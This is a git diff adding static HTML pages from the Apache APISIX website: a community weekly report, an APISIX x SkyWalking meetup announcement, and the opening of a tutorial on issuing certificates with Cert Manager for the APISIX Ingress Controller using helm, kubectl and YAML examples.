+<p>“If you want to go fast, go alone. If you want to go far, go together”, Apache APISIX Community Weekly Report hopes to help community members better grasp the weekly progress of the Apache APISIX community and facilitate your participation in the Apache APISIX community.</p>
+<p>We’ve also put together some issues for those new to the community!</p>
+<h2 id="contributor-statistics">Contributor statistics</h2>
+<p><img src="https://static.apiseven.com/202108/1634183939241-a87516e5-cb52-4532-87e2-306c09155a70.png" alt="This week's contributor list"></p>
+<p><img src="https://static.apiseven.com/202108/1634183019951-bcf250cd-e5b5-443e-afc4-3cfdef0d6eab.jpg" alt="New contributors this week"></p>
+<h2 id="good-first-issue">Good first issue</h2>
+<h3 id="issue-5165">Issue #5165</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/5165">https://github.com/apache/apisix/issues/5165</a></p>
+<p><strong>Problem Description</strong>:</p>
+<ul>
+<li>
+<p>When a browser publishes across domains and then displays a CORS error, the login for the <code>wolf-rbac</code> plugin <code>url/apisix/plugin/wolf-rbac/login</code> returns <code>json</code> format, but the <code>header</code> gives a content type of <code>text/plain</code>, please change the content type to <code>application/json</code> after the plugin login.</p>
+</li>
+<li>
+<p>The login for <code>wolf-rabc</code> <code>uri/apisix/plugin/wolf-rbac/login</code> will lose the CORS plugin with the added header.</p>
+</li>
+</ul>
+<h3 id="issue-5192">Issue #5192</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/5192">https://github.com/apache/apisix/issues/5192</a></p>
+<p><strong>Problem Description</strong>: When installing APISIX dependencies, different Linux distributions will have different executions. Is it possible to merge these different executions into “install-dependencise.sh” to make it easier for users to install dependencies?</p>
+<h2 id="feature-highlights-of-the-week">Feature highlights of the week</h2>
+<ul>
+<li>
+<p><a href="https://github.com/apache/apisix-dashboard/pull/2149">Dashboard support for configuring the host field in Service to provide routing defaults</a> (Contributor: <a href="https://github.com/bzp2010">bzp2010</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/5171">APISIX support test profile</a> (Contributor: <a href="https://github.com/nic-chen">nic-chen</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/3894">APISIX adds ldap-auth plugin</a> (Contributor: <a href="https://github.com/jp-gouin">jp-gouin</a>)</p>
+</li>
+</ul>
+<h2 id="recommended-blog-posts-for-this-week">Recommended blog posts for this week</h2>
+<ul>
+<li>
+<p><a href="https://apisix.apache.org/zh/blog/2021/10/13/celebrating-300-contributors-of-apisix">New milestone for the Apache APISIX community - topping 300 contributors worldwide!</a>.</p>
+<p>The Apache APISIX community has reached a new milestone, surpassing 300 global contributors to projects related to Apache APISIX! Just 3 months after the Apache APISIX main repository reached the 200 contributor milestone! Thank you to our community contributors for their outstanding contributions in all aspects of code, documentation, operations, and more.</p>
+</li>
+<li>
+<p><a href="https://apisix.apache.org/zh/blog/2021/10/01/openEuler">Apache APISIX community members help openEuler release first community innovation version</a></p>
+<p>Zexuan Luo and Ming Wen from the Apache APISIX community contributed to the first community innovation release of openEuler (openEuler 21.09) on September 30, which allowed OpenResty to run smoothly and efficiently on the Euler open source operating system. The stable operation of OpenResty also means that Apache APISIX can run smoothly on the openEuler system, and the underlying Apache APISIX is based on OpenResty for some development.</p>
+</li>
+<li>
+<p><a href="https://apisix.apache.org/zh/blog/2021/09/29/release-apache-apisix-2.10">Apache APISIX 2.10.0 is released, bringing the first LTS version!</a></p>
+<p>Apache APISIX version 2.10 is officially released! 🎉 This is the first LTS release of Apache APISIX, with support for 10+ new features and new plugins. Have a quick read about the new features in version 2.10!</p>
+</li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/10/18/meetup/index.html b/blog/2021/10/18/meetup/index.html
new file mode 100644
index 00000000000..eb4b56b5921
--- /dev/null
+++ b/blog/2021/10/18/meetup/index.html
@@ -0,0 +1,35 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Webinar | Apache APISIX × Apache SkyWalking Online Meetup</title><meta name="description" content="Cloud native API gateway Apache APISIX and Apache SkyWalking community bring you online sharing, covering APISIX observability and Ingress projects, E2E testing, etc."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apac [...]
+<p>On October 23rd, the Apache APISIX community is joining forces with the Apache SkyWalking community to bring you an online sharing session.</p>
+</blockquote>
+<!--truncate-->
+<p><img src="https://static.apiseven.com/202108/1634607898296-26d3dbea-da8b-41cc-a50d-b4aa37f69f5f.jpeg" alt="Apache APISIX × Apache SkyWalking Meetup"></p>
+<h2 id="sharing-topics">Sharing Topics</h2>
+<h3 id="introduction-to-apache-apisix-observability">Introduction to Apache APISIX Observability</h3>
+<h4 id="sharing-guests">Sharing Guests</h4>
+<p>Haochao Zhuang, Apache APISIX Contributor, Apache SkyWalking Committer & PMC member.</p>
+<h4 id="topic-details">Topic Details</h4>
+<p>Apache APISIX has better observability capabilities than native Nginx, and will introduce the monitoring tools and capabilities that Apache APISIX already has. This session will introduce the monitoring tools and capabilities already available in Apache APISIX, and what enhancements have been made since the integration with Apache SkyWalking, and what new features will be added in the future. We are looking forward to seeing what sparks the Red and Blue (APISIX X SkyWalking) combinati [...]
+<h3 id="end-to-end-testing-with-apache-skywalking-infra-e2e">End-to-end testing with Apache SkyWalking Infra E2E</h3>
+<h4 id="sharing-guests-1">Sharing Guests</h4>
+<p>Han Liu, Apache SkyWalking Committer & PMC member</p>
+<h4 id="topic-details-1">Topic Details</h4>
+<p>Nowadays, more and more projects are using end-to-end testing to automate functional testing, and this session focuses on SkyWalking-Infra-E2E framework and its implementation in Apache SkyWalking.</p>
+<h3 id="how-apache-apisix-ingress-controller-is-growing-in-the-community">How Apache APISIX Ingress Controller is growing in the community</h3>
+<h4 id="guest-speakers">Guest Speakers</h4>
+<p>Wei Jin, Apache APISIX PMC, Apache SkyWalking Committer</p>
+<h4 id="topic-details-2">Topic Details</h4>
+<ol>
+<li>Introducing the Apache APISIX Ingress Controller project</li>
+<li>New energy brought by joining the Apache community</li>
+<li>How the Apache APISIX Ingress Controller works in the community</li>
+<li>Welcome to the Apache APISIX community</li>
+</ol>
+<h3 id="license-eye---an-open-source-software-protocol-tool">License Eye - an open source software protocol tool</h3>
+<h4 id="sharing-guests-2">Sharing Guests</h4>
+<p>Zhenxu Ke, Apache SkyWalking PMC member, Apache Incubator PMC member and mentor</p>
+<h4 id="topic-details-3">Topic Details</h4>
+<p>This session will take Apache SkyWalking as an example, summarize the protocol issues that may be encountered during the operation of open source projects, and introduce in detail how to use License Eye, a tool for handling open source protocols.</p>
+<h2 id="how-to-participate">How to participate</h2>
+<p>👇👇👇👇 Scan the code to follow the video number and book this live broadcast.
+<img src="https://apisix.apache.org/assets/images/2021-08-21-2-e9610756c89fec849caeb66361bce002.png" alt="Apache APISIX wechat"></p>
+<p>See you live on Saturday, October 23rd at 14</p><div></div>!<p></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.or [...]
\ No newline at end of file
diff --git a/blog/2021/10/22/cert-manager-in-ingress/index.html b/blog/2021/10/22/cert-manager-in-ingress/index.html
new file mode 100644
index 00000000000..6756db44534
--- /dev/null
+++ b/blog/2021/10/22/cert-manager-in-ingress/index.html
@@ -0,0 +1,189 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>APISIX Ingress Controller manages certificates with Cert Manager | Apache APISIX</title><meta name="description" content="This article shows how to create a certificate and pair it with Apache APISIX Ingress Controller via the Cert Manager."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/10/22/ce [...]
+<p>This article shows how to create a certificate and pair it with Apache APISIX Ingress Controller via the Cert Manager.</p>
+</blockquote>
+<!--truncate-->
+<p><a href="https://github.com/apache/apisix-ingress-controller">Apache APISIX Ingress Controller</a> is a <a href="https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/">Kubernetes Ingress Controller</a> Open Source Tool that uses <a href="http://apisix.apache.org/">Apache APISIX</a> as a data surface and has been updated to <a href="https://github.com/apache/apisix-ingress-controller/blob/master/CHANGELOG.md#130">v1.3</a> with features such as certificate manage [...]
+<p>For a long time, certificate management is not a simple thing although Apache APISIX Ingress Controller supports extracting certificates and private keys from Kubernetes Secrets Resources and converting them into Apache APISIX recognizable SSL objects, but this is only a part of the whole certificate management chain, certificate issuance, rotation, revocation logic still need to be implemented by administrators, especially when the number of certificates is relatively large, the work [...]
+<p><a href="https://cert-manager.io/docs/">Cert Manager</a> is a piece of software dedicated to simplifying certificate management on the Kubernetes platform and supports docking many different certificate sources, such as <a href="https://letsencrypt.org/">Let’s Encrypt</a> and <a href="https://www.vaultproject.io/">HashiCorp Vault</a>.</p>
+<p>If you’re having trouble with certificate management when using Apache APISIX Ingress Controller, using the Cert Manager is a good option, and this article shows how to create a certificate and pair it with Apache APISIX Ingress Controller via the Cert Manager.</p>
+<h2 id="step-1-environmental-preparation">Step 1: Environmental Preparation</h2>
+<p>If you want to follow the instructions in this article, make sure the following environments and tools are in place:</p>
+<ol>
+<li>To prepare a usable Kubernetes cluster, in the development environment, you can use <a href="https://kind.sigs.k8s.io/">Kind</a> and <a href="https://kubernetes.io/docs/tutorials/hello-minikube/">Minikube</a></li>
+<li>Install <a href="https://kubernetes.io/docs/tutorials/hello-minikube/">kubectl</a></li>
+<li>Install <a href="https://helm.sh/">Helm v3</a></li>
+</ol>
+<blockquote>
+<p>Note that all of the following operations will be performed in the ingress-apisix namespace, so you need to create the namespace first: <code>kubectl create namespace ingress-apisix</code></p>
+</blockquote>
+<h2 id="step-2install-apache-apisix-ingress-controller">Step 2:Install Apache APISIX Ingress Controller</h2>
+<p>You can install Apache APISIX Ingress Controller via Helm, including Apache APISIX and etcd clusters for data planes.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> add</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> https://charts.apiseven.com</span></span>
+<span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> update</span></span>
+<span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> install</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> apisix/apisix</span><span style="color:#79C0FF"> --set</span><span style="color:#A5D6FF"> gateway.tls.enabled=</span><span style="color:#79C0FF">true</span><span style="color:#79C0FF"> --set</span><span style="color:#A5D6FF"> ingress-controller.enabled=</span><span style="color:#79C0FF">true</span><span style="color:#7 [...]
+<p>Click to view the <a href="https://github.com/apache/apisix-helm-chart/blob/master/charts/apisix/README.md">installation details</a>.</p>
+<h2 id="step-3install-cert-manager">Step 3:Install Cert Manager</h2>
+<p>To Install Cert Manager from Helm, click to view the <a href="https://cert-manager.io/docs/installation/">installation details</a>.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> install</span><span style="color:#A5D6FF"> cert-manager</span><span style="color:#A5D6FF"> jetstack/cert-manager</span><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> ingress-apisix</span><span style="color:#79C0FF"> --set</s [...]
+<p>Please wait for a moment after installation to check the running status of the components and make sure that all the components are working properly. You can do this by following the command.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> get</span><span style="color:#A5D6FF"> all</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> ingress-apisix</span></span></code></pre>
+<p>The result is as follows, indicating that all components are working properly.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> READY</span><span style="color:#A5D6FF"> STATUS</span><span style="color:#A5D6FF"> RESTARTS</span><span style="color:#A5D6FF"> AGE</span></span>
+<span class="line"><span style="color:#FFA657">pod/apisix-5d99956d88-j68sj</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 63s</span></span>
+<span class="line"><span style="color:#FFA657">pod/apisix-69459554d4-btnwn</span><span style="color:#A5D6FF"> 0/1</span><span style="color:#A5D6FF"> Terminating</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">pod/apisix-etcd-0</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">pod/apisix-etcd-1</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">pod/apisix-etcd-2</span><span style="color:#A5D6FF"> 0/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 50s</span></span>
+<span class="line"><span style="color:#FFA657">pod/apisix-ingress-controller-7b5c767cc7-j62hb</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 55m</span></span>
+<span class="line"><span style="color:#FFA657">pod/cert-manager-5ffd4f6c89-q9f7m</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 45m</span></span>
+<span class="line"><span style="color:#FFA657">pod/cert-manager-cainjector-748dc889c5-nrvkh</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 45m</span></span>
+<span class="line"><span style="color:#FFA657">pod/cert-manager-startupapicheck-kmgxf</span><span style="color:#A5D6FF"> 0/1</span><span style="color:#A5D6FF"> Completed</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 45m</span></span>
+<span class="line"><span style="color:#FFA657">pod/cert-manager-webhook-bc964d98b-mkjj7</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> Running</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 45m</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> TYPE</span><span style="color:#A5D6FF"> CLUSTER-IP</span><span style="color:#A5D6FF"> EXTERNAL-IP</span><span style="color:#A5D6FF"> PORT</span><span style="color:#E6EDF3">(</span><span style="color:#FFA657">S</span><span style="color:#E6EDF3">) </span><span style="color:#A5D6FF">AGE</span></span>
+<span class="line"><span style="color:#FFA657">service/apisix-admin</span><span style="color:#A5D6FF"> ClusterIP</span><span style="color:#79C0FF"> 10.96.16.25</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">non</span><span style="color:#E6EDF3">e</span><span style="color:#FF7B72">></span><span style="color:#A5D6FF"> 9180/TCP</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">service/apisix-etcd</span><span style="color:#A5D6FF"> ClusterIP</span><span style="color:#79C0FF"> 10.96.232.251</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">non</span><span style="color:#E6EDF3">e</span><span style="color:#FF7B72">></span><span style="color:#A5D6FF"> 2379/TCP,2380/TCP</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">service/apisix-etcd-headless</span><span style="color:#A5D6FF"> ClusterIP</span><span style="color:#A5D6FF"> None</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">non</span><span style="color:#E6EDF3">e</span><span style="color:#FF7B72">></span><span style="color:#A5D6FF"> 2379/TCP,2380/TCP</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">service/apisix-gateway</span><span style="color:#A5D6FF"> NodePort</span><span style="color:#79C0FF"> 10.96.118.75</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">non</span><span style="color:#E6EDF3">e</span><span style="color:#FF7B72">></span><span style="color:#A5D6FF"> 80:32039/TCP,443:30107/TCP</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">service/apisix-ingress-controller</span><span style="color:#A5D6FF"> ClusterIP</span><span style="color:#79C0FF"> 10.96.13.76</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">non</span><span style="color:#E6EDF3">e</span><span style="color:#FF7B72">></span><span style="color:#A5D6FF"> 80/TCP</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">service/cert-manager-webhook</span><span style="color:#A5D6FF"> ClusterIP</span><span style="color:#79C0FF"> 10.96.182.188</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">non</span><span style="color:#E6EDF3">e</span><span style="color:#FF7B72">></span><span style="color:#A5D6FF"> 443/TCP</span><span style="color:#A5D6FF"> 45m</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> READY</span><span style="color:#A5D6FF"> UP-TO-DATE</span><span style="color:#A5D6FF"> AVAILABLE</span><span style="color:#A5D6FF"> AGE</span></span>
+<span class="line"><span style="color:#FFA657">deployment.apps/apisix</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">deployment.apps/apisix-ingress-controller</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">deployment.apps/cert-manager</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#A5D6FF"> 45m</span></span>
+<span class="line"><span style="color:#FFA657">deployment.apps/cert-manager-cainjector</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#A5D6FF"> 45m</span></span>
+<span class="line"><span style="color:#FFA657">deployment.apps/cert-manager-webhook</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#A5D6FF"> 45m</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> DESIRED</span><span style="color:#A5D6FF"> CURRENT</span><span style="color:#A5D6FF"> READY</span><span style="color:#A5D6FF"> AGE</span></span>
+<span class="line"><span style="color:#FFA657">replicaset.apps/apisix-5d99956d88</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#A5D6FF"> 63s</span></span>
+<span class="line"><span style="color:#FFA657">replicaset.apps/apisix-69459554d4</span><span style="color:#79C0FF"> 0</span><span style="color:#79C0FF"> 0</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">replicaset.apps/apisix-ingress-controller-74c6b5fbdd</span><span style="color:#79C0FF"> 0</span><span style="color:#79C0FF"> 0</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"><span style="color:#FFA657">replicaset.apps/apisix-ingress-controller-7b5c767cc7</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#A5D6FF"> 55m</span></span>
+<span class="line"><span style="color:#FFA657">replicaset.apps/apisix-ingress-controller-7d58db957c</span><span style="color:#79C0FF"> 0</span><span style="color:#79C0FF"> 0</span><span style="color:#79C0FF"> 0</span><span style="color:#A5D6FF"> 55m</span></span>
+<span class="line"><span style="color:#FFA657">replicaset.apps/cert-manager-5ffd4f6c89</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#A5D6FF"> 45m</span></span>
+<span class="line"><span style="color:#FFA657">replicaset.apps/cert-manager-cainjector-748dc889c5</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#A5D6FF"> 45m</span></span>
+<span class="line"><span style="color:#FFA657">replicaset.apps/cert-manager-webhook-bc964d98b</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#79C0FF"> 1</span><span style="color:#A5D6FF"> 45m</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> READY</span><span style="color:#A5D6FF"> AGE</span></span>
+<span class="line"><span style="color:#FFA657">statefulset.apps/apisix-etcd</span><span style="color:#A5D6FF"> 2/3</span><span style="color:#A5D6FF"> 57m</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> COMPLETIONS</span><span style="color:#A5D6FF"> DURATION</span><span style="color:#A5D6FF"> AGE</span></span>
+<span class="line"><span style="color:#FFA657">job.batch/cert-manager-startupapicheck</span><span style="color:#A5D6FF"> 1/1</span><span style="color:#A5D6FF"> 6m24s</span><span style="color:#A5D6FF"> 45m</span></span></code></pre>
+<blockquote>
+<p>The mechanism of the <a href="https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/">Kubernetes Controller Manager</a> determines that the Pod name will be different.</p>
+</blockquote>
+<h2 id="step-4-apply-for-a-certificate-and-test-it">Step 4: Apply for a Certificate and Test it</h2>
+<p>First we need to configure the credential issuing object.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#8B949E"># issuer.yaml</span></span>
+<span class="line"><span style="color:#7EE787">apiVersion</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">cert-manager.io/v1</span></span>
+<span class="line"><span style="color:#7EE787">kind</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">Issuer</span></span>
+<span class="line"><span style="color:#7EE787">metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">issuer</span></span>
+<span class="line"><span style="color:#7EE787"> namespace</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ingress-apisix</span></span>
+<span class="line"><span style="color:#7EE787">spec</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> selfSigned</span><span style="color:#E6EDF3">: {}</span></span></code></pre>
+<p>And create a self-signed certificate issuer.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> apply</span><span style="color:#79C0FF"> -f</span><span style="color:#A5D6FF"> issuer.yaml</span></span></code></pre>
+<blockquote>
+<p>Note that self-signed authoring objects are not recommended for use in production environments! See <a href="https://cert-manager.io/docs/configuration/">here</a> for more on the configuration of the certificate authority object.</p>
+</blockquote>
+<p>。Then create a certificate for the domain name <code>httpbin. org</code>.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="yaml"><code><span class="line"><span style="color:#8B949E"># httpbin-cert.yaml</span></span>
+<span class="line"><span style="color:#7EE787">apiVersion</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">cert-manager.io/v1</span></span>
+<span class="line"><span style="color:#7EE787">kind</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">Certificate</span></span>
+<span class="line"><span style="color:#7EE787">metadata</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">httpbin</span></span>
+<span class="line"><span style="color:#7EE787"> namespace</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">ingress-apisix</span></span>
+<span class="line"><span style="color:#7EE787">spec</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> secretName</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">httpbin</span></span>
+<span class="line"><span style="color:#7EE787"> duration</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">2160h</span><span style="color:#8B949E"> # 90d</span></span>
+<span class="line"><span style="color:#7EE787"> renewBefore</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">360h</span><span style="color:#8B949E"> # 15d</span></span>
+<span class="line"><span style="color:#7EE787"> subject</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> organizations</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">foo</span></span>
+<span class="line"><span style="color:#7EE787"> commonName</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">httpbin.org</span></span>
+<span class="line"><span style="color:#7EE787"> isCA</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">false</span></span>
+<span class="line"><span style="color:#7EE787"> privateKey</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> algorithm</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">RSA</span></span>
+<span class="line"><span style="color:#7EE787"> encoding</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">PKCS1</span></span>
+<span class="line"><span style="color:#7EE787"> size</span><span style="color:#E6EDF3">: </span><span style="color:#79C0FF">2048</span></span>
+<span class="line"><span style="color:#7EE787"> usages</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">server auth</span></span>
+<span class="line"><span style="color:#7EE787"> dnsNames</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">"httpbin.org"</span></span>
+<span class="line"><span style="color:#E6EDF3"> - </span><span style="color:#A5D6FF">"*.httpbin.org"</span></span>
+<span class="line"><span style="color:#7EE787"> issuerRef</span><span style="color:#E6EDF3">:</span></span>
+<span class="line"><span style="color:#7EE787"> name</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">issuer</span></span>
+<span class="line"><span style="color:#7EE787"> kind</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">Issuer</span></span>
+<span class="line"><span style="color:#7EE787"> group</span><span style="color:#E6EDF3">: </span><span style="color:#A5D6FF">cert-manager.io</span></span></code></pre>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> apply</span><span style="color:#79C0FF"> -f</span><span style="color:#A5D6FF"> httpbin-cert.yaml</span></span></code></pre>
+<p>At this point, it is necessary to see whether the corresponding Secrets have been created.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> get</span><span style="color:#A5D6FF"> secrets</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> ingress-apisix</span><span style="color:#A5D6FF"> httpbin</span></span>
+<span class="line"><span style="color:#FFA657">NAME</span><span style="color:#A5D6FF"> TYPE</span><span style="color:#A5D6FF"> DATA</span><span style="color:#A5D6FF"> AGE</span></span>
+<span class="line"><span style="color:#FFA657">httpbin</span><span style="color:#A5D6FF"> kubernetes.io/tls</span><span style="color:#79C0FF"> 3</span><span style="color:#A5D6FF"> 2m5s</span></span></code></pre>
+<p>With the above validation, the creation of the Secrets object has been captured by Apache APISIX Ingress Controller, we try to access Apache APISIX Ingress Controller to verify the certificate is valid, first we need to create additional routing objects.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># Create backend</span></span>
+<span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> run</span><span style="color:#A5D6FF"> httpbin</span><span style="color:#79C0FF"> --image</span><span style="color:#A5D6FF"> kennethreitz/httpbin</span><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> ingress-apisix</span></span>
